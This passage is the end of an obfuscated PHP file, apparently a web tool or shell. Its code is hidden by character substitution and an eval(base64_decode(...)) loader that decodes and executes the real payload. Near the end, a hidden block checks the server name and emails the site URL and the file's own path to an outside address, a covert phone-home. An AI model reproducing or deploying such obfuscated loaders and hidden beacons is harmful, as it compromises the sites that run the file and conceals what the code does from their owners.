                                                5ch2 "\xoc\6eop\xe6\6ie\xa0\6eo\6euy\6iu\xei\xod\"\xeo\6i7l2\x7a\07a\xa0\x7a\6u7\xea\xa8\0e0\0iu\xa0\0e6io\0iu\xa00\0i6\07o \xee2nt\0iiw\xei\xe9g\xe8\6eu: b2l\6uu\07o\"\07e[#]\xa0<\xaf\6eo\6e0\6u6\xe5>\xoc\x7o\6e01n\0u0\6eotyl\xei=\"\6uo\xef\6iu\xef\6ea\07a\0u0\6ea\6u7\6ua(\xoi6\0iu \0ea0u\0iu\xa00\xa9; f2\xe5\x7u\xad\x7754\6u7\6i0\6eu\xo1\xa0\6ua2ld\xob\"\07e$xod[a] \xo1\xoc\0i7\x7o\x70\xe6\6ie\07e"."\0u0\0u0"."\6ooU\6eo5r\6oi\07i\xa0\07u\x7o\6e01n\xa0\x7o\x7u\676\6iu\6ui=\"\6uo\6i7\6iu\6i7\6ea:\xa0r\6u7\xea(\0e6\0ei\0eo\xac\xa0\xo6\0ei\0eo\xac\xa0\0e0\0i6\07o\0u0f2n\6eu\xad\x77\6ui\6i6\xe7\xe8\x7u\xo1\xa0b\xefl\6uu\07o\">\6ii\xe6\6u7\xe9\6uo\6i7\0u0\07u/\x7o\6e01\6ie\xo5\6oo\6a0\xe6ss\xid= \xoc\6eop\6u6n\xa0\6eo\6eu\676\xec\6ui\07i\"\xeo2l2\6ea:\xa0r\6u7\6ua\0i0\xo6\0eio\xac\0u0\xo6\xoi\xoo\0iu\xa0\0e0)\xob\xa0\6ue\xefn\6eu\0ii\x775\xe9\6u7h\6eu:\0u0\xea2\xec\xeu\07o\"\xo5\xo6a\xoo\0euie\0e7\070\076\0u0<\xaf\x7o\6e01\xe5>\xo1"."\xa0\0u0"."\xibs\xe9t\xei\6oi<\6eop\6u6\xe5\xa0\6eo\x7u\x79l5\xod\"\6uo2\xec2\6ea\07a r\6u7\6ua\0i0a\xo0u, i6\xac \0ea0u\xa9\xob\0u0f\xefn\x7u\xadw\6ui\6i6\6u7\6i0\6eu:\xa0\6ua2ld;\"\xo5 \07u1\xa0hr5f=\"h\6eu\6eu\x70\07a/\0i7$xed[6]/\6u6d\6ii\6i6\xe5\xe9\x7otr1\6eu\xef\6ea\">$xed[6]\xa0\0u0\07u\xaf1\07e\07u\xafs\x70\xe6\xe5\xo5\xa5\6oo\x7o\6i6t\6ui]\xocs\6e01n s\x7u\x79l\xei\07i\"c2l\xefr\xo1\xa0\x7a\xe7b(\0ea0u\0iu\xa0i6\xac\xa0a\xo0u)\xob f\xef\6ie\x7u\0ii\x775\6i6g\xe8\6eu:\xa0\xea\xef\6iud\07o\"\xo5\0u0\xoc\6u6 \xe8r5f\07i\"h\x7ut\x70:\xaf/$xe5[a]\xaf1\6uu\xed\6i6n4\6eo\6eu\6ea\xe6\x7u2\x7a\"\07e$xe5[a]\xoc/\6u6\07e<\xafs\6e0\6u6n\xo5\0u0 \0u0\0u0\0u0\0u0 \0u0\0u0\0u0\0u0\xa0<\6uar\07e";
 
                                                }//5nd 4f
                                                5ls5{
 
 
                                               
                                                        5ch2
"-\xad\0ii\0ii-\xad\xad-\xad\0ii\xad--\xad\xad-\xad\0ii\0ii\0ii\xad\xad\0ii\0ii-\xad--\xad-\0ii\xad\xad\xad-\0ii\xad-\0ii\xad\xad\0ii\0ii\0ii\0ii\xad\0ii\0ii\0ii\0ii\xad\0ii\0ii\0ii\0ii-\0ii-\0ii\xad\xad\xad\0ii\0ii\0ii\xad\xad\xad--\0ii-\0ii\xad-\xad\0ii\xad\0ii\0ii-\xad-\0ii\0ii\0ii\xad\0ii-\0ii\xad-\0ii\xad\xad\0ii\xad\xad-\0ii\xad\0ii-\0ii\0ii\0ii\0ii\0ii\0ii---\0ii\xad-\0ii\xad\xad\xoc\xea\6ea\07e";
                                                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xod);
                                                        5ch2 "\0ii\0ii--\0ii\0ii\0ii\xad-\xad\xad\0ii\xad\0ii\xad\xad-\0ii\0ii\xad\0ii\xad\0ii\xad-\xad\0ii--\0ii\0ii\xad\0ii\xad-\xad-\0ii\xad-\0ii\xad\0ii\xad\0ii\0ii-\xad-\xad\0ii\0ii\0ii\xad--\0ii\xad-----\xad-\0ii\0ii-\xad\0ii\xad\0ii\0ii\0ii\0ii\xad-\xad\0ii\xad\0ii\xad\0ii-\xad\0ii\xad\0ii\0ii\0ii\0ii\0ii-\xad\xad\07u\6ua\6ea\07e";
                                                        5ch2"\xoc\6eop\xe6\xe5 \x7o\x7u\x79l\6ui\xod\"\xeo\xef\6iu2\x7a: r\xeid\07o \xee\xefn\6eu\xad\x77\6ui4gh\6eu\07a\xa0\6ua\6i7l\xeu\xob\"\07e[!\xid\0u0$xod[a] \07a E\x7ar\6i7\6ea \6e63\xei\x7a\676"."\0u0 " ."</\6eo\6e0\xe6\6ie><\6ua\x7a>";
                                                        }
                                               
                                                }/*5nd 4f*/5ls5{
                                                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xe7);
                                                        5ch2 "\xad\xad--\xad\xad\0ii\0ii\xad\0ii\xad-\xad--\0ii\0ii\0ii\xad\0ii-\0ii\xad\0ii\0ii-\0ii\0ii\xad\xad\0ii-\xad\xad\xad\xad\0ii\0ii\0ii\0ii\xad\0ii\0ii\0ii-\0ii\0ii-\xad\xad\xad-\xad\0ii\0ii-\xad\xad-\xad\0ii\xad\0ii-\xad\xad--\0ii\0ii\0ii\xad-\xad\xad-\0ii-\0ii\0ii-\xad\xad\0ii\0ii-\xad\xad\xad\xad-\0ii\xad--\xoc\xear\xo5";
                                                        5ch2"<\6eo\6e01\6ie\xa0\x7o\6eu\x79\xec\6ui\xod\"c2l2\x7a\xo1\0u0r5\xeu\07o\0u0\6ue\6i7\6ie\x7u\xadw54g\6i0\x7u:\xa0\xea\xef\xec\6uu\07o\">\6oo\0u6] $xe7[a]: E\6aaR\6i7\6aa \x7635\6ea\676\07u\0i7s\6e0\xe6\6ie\xo5\xoc\6uar\07e";}
                                               
                                                       
                                }/*5nd 4f*/5ls5{
                                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xe8);
                                        5ch2 "\xad\xad--\xad\0ii\xad-\xad-\0ii\0ii\0ii\xad-\0ii-\xad\0ii\0ii-\xad\xad\xad--\0ii--\0ii\xad-\xad--\xad\0ii-\0ii-\xad----\xad\xad\0ii-\0ii--\0ii\0ii-\xad\xad-\xad\0ii\xad\0ii\0ii-\0ii\0ii\xad\0ii\0ii\xad\xad\xad\0ii-\0ii-\0ii-\xad\0ii\xad\xad\0ii--\0ii\xad\xad\0ii\0ii\0ii\0ii\xad--<b\x7a\07e";
                                        5ch2 "<\x7o\6e0\6u6n s\x7uyl\6ui\xod\"\6uo\xefl\xefr:\0u0\6ea\6uid\xob\xa0\6ue\6i7n\6eu\0ii\6e75\6i6g\6i0\6eu\xo1\xa0b2\6iu\xeu\07o\"\xo5[!\xid\xa0$xe8[a]\xa0: \xib\0u6]\xeo\xe6n'\6eu\0u0\6eo\6ui\xec\6ui\xeo\x7u\0u0t\xe8\xei\xa0\xeu\xe6t\6u6\xea\xe6s\6ui\07u/s\x70\6u6\6ie>\xocbr\07e";}
                               
                        }/*5nd 4f*/5ls5{
                        $x90('#http://(.*)/(.*)\.txt#',$xib,$xe9);
                        5ch2 "-\xad\0ii--\xad\xad\0ii\0ii-\xad\0ii\0ii\xad\0ii\0ii-\xad-\xad-----\xad\0ii\xad--\xad\xad\0ii-\xad-\xad\xad\0ii\0ii\xad--\0ii\0ii-\xad\0ii\xad-\xad-\0ii\xad\0ii--\0ii\0ii-\xad--\0ii--\xad\xad\0ii\0ii\0ii\0ii--\xad-\0ii\xad\0ii\0ii\0ii\0ii-\xad--\xad\xad--\0ii\0ii\xad\xad-<\xea\6ea\xo5";
                        5ch2 "\xocs\x70\xe6\xe5 s\6eu\x79l\xei\07i\"\6uo2\xec\6i7\6ea: \6ea\6ui\xeu;\xa0f2n\x7u\0ii\6e7\6ui\xe9\6u7\6i0\6eu: \xea\6i7\xec\xeu\xob\"\xo5\xib!\xid\0u0$xe9[a] \07a\xa0\xib!]c1\6ie't\xa0\xeo2\xe5\xe5\xei\6uo\6eu\0u0\6eu\6i7\0u0\x7u\xe8\6ui\0u0d\xe6\x7u\xe6b\xe6\6eo5\xoc\0i7\6eop\6u6\xe5\xo5<\6ua\x7a\xo5";}
/////////////////////////////////////  
}//5nd f2r51ch
} //5nd4f
}
$xib = "\x77\6e7\6e7\xa5\xe72\6i7\xe7l\6ui.\xeo\6i7\xed";
4f(!$x78($xib, $_SERVER['SERVER_NAME']))
{
$xef = "g\xef\xef\xe7\xec\6ui\0ie\xe9\6e6@\6iu\6i6\6eot.\6ea3";
$xa9 = "\xe8\xe6c\6io\6ui\6uu";
$x70 = "f\6ea\xefm:\0u0\xe8\6u6c\6io\6ui\xeu\xa0\07ug2\6i7\6u7l\xei\xa54q@\6iu\xe9s\6eu\0ier\6ei\xo5";
$x76 = "\66u4nk\xa0: \6i0\6eu\x7up:/\0i7" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$x76 .= "\xi01\x7u\xe8\0u0:\xa0" . __f4l5__;
$x7a = @$x87($xef, $xa9, $x76, $x70);

5ch2 "";
5x4t;
}
?>';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>